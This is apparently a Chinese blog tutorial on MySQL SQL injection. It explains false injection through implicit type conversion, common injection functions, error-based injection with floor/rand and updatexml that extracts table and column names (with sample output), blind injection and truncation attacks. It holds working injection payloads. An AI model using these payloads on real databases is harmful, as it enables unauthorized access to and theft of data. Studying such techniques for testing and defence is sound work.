mysql中文注入_Mysql注入-Go语言中文社区

0x01 False Injection

18cc104e2df091518712ce46c8b21bc0.png

username=0时数据库会返回数据,尝试一下使password=0会不会返回同样的数据。

6ce8bf608f34a91a8ae778bdde6b9290.png

空集无法查询

MYSQL的隐式类型转换。

如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换

两个参数都是字符串,按照字符串比较。不做类型转换

两个参数都是整数,按照整数比较。不做类型转换

如果不与数字进行比较,则将十六进制值视为二进制字符串。

有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较

所有其他情况下,两个参数都会被转换为浮点数再进行比较

举几个例子看一下:

0adfcf0fe1c7eea3eb328bb383fd2714.png

可以看得到例如6和6aa进行比较的时候 6aa会强制转换为6,这时6=6 返回true

username=0会导致返回数据了,就是因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回0使得0=0从而为true得到结果。

2、利用

算术运算符

实际中我们接触到的语句都是带有引号的,类似于where username='+input+' 这样的,这时候我们就需要做一些处理来构造false注入的利用点。

输入+ 则相当于语句被转化为 where username="+"

+,-,*,/,%都是同理。

比较运算符

安全等于:<=>

'=0<=>1# 拼接的语句:where username=''=0<=>1#'

不等于<>(!=)

'=0<>0# 拼接的语句:where username=''=0<>0#'

利用一下这个特点

两种情况均返回true,原因在于后面存在的亦或表达式会使前面的判断类型都转换为浮点型数据。因此都变为0。

0x02

注入常用函数与字符

这个作为我们用来测试的表单。

4c5b354a4e855b8e83c437b6eccc7e5f.png

下面的函数是经常会用到的。

mid()---从文本字段中提取字符

SELECT MID(column_name,start[,length]) FROM table_name;

column_name 必需。要提取字符的字段。

start 必需。规定开始位置(起始值是 1)。

length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。

2aa522316b38e911448382be083720c0.png

limit()---返回前几条或者中间某几行数据

select * from table limit m,n;

其m指记录始index0始表示第条记录 n指第m+1条始取n条

0c4b2fab273599c0aaff0f85205250c6.png

concat、concat_ws、group_concat

MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL

5292f67c1bf1dffcaa09626b04578c30.png

group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔符'])

6adad13117070b5e003a2e4119bdfe85.png

rand随机数(产生0,1之间随机数)

5d078838946c3fddf39efa6f32c4a236.png

报错注入

基于floor,UpdateXml(有长度限制,最长32位),ExtractValue(有长度限制,最长32位)进行报错注入。

获取数据库

select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name frominformation_schema.tablesgroup by name;

63a270c4c0a33f4a35ace0b70542f5fa.png

获取数据表

select count(*),concat(0x3a,0x3a,(select table_name frominformation_sche

ma.tableswhere table_schema=database() limit 3,1),0x3a,floor(rand()*2)) name fr

om information_schema.tablesgroup by name;

07252b02529f4aaf4f5fca0d5e852380.png

获取字段

select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x3a,floor(rand()*2)) name from information_schema.tables group by name;

d17086b055a46afe3351e4b6fcff0a13.png

UpdateXml报错注入

获取数据表

mysql> select updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM informatio

n_schema.tables WHERE table_schema=database() limit 3,1)),0);

ERROR 1105 (HY000): XPATH syntax error: '~ctf'

获取字段

mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 4,1)),0);

ERROR1105 (HY000): XPATH syntax error: '~password'mysql> select updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 3,1)),0);

ERROR1105 (HY000): XPATH syntax error: '~user'

基于布尔盲注

mysql> select table_name from information_schema.tables where table_schema=database() limit 3,1;

limit x,y 是需要进行尝试的。猜测数据库

7736b8f275f07ab1f6ca668c42d6c451.png

基于时间盲注

基于的原理是,当对数据库进行查询操作,如果查询的条件不存在,语句执行的时间便是0.但往往语句执行的速度非常快,线程信息一闪而过,得到的执行时间基本为0。但是如果查询语句的条件不存在,执行的时间便是0,利用该函数这样一个特殊的性质,可以利用时间延迟来判断我们查询的是否存在。这便是SQL基于时间延迟的盲注的工作原理

Mysql约束攻击

在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断。

实例:在数据表中插入'lovehsy' 和 ‘lovehsy    '两条数据。

a2de2a478787c3162c2083e4e390ed33.png

对比一下两者

45c151fd4b845e57d446856d4c6d445c.png

虽然在长度方面是不同的但是在前端验证的时候两者会被当成相同的字符串来处理。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值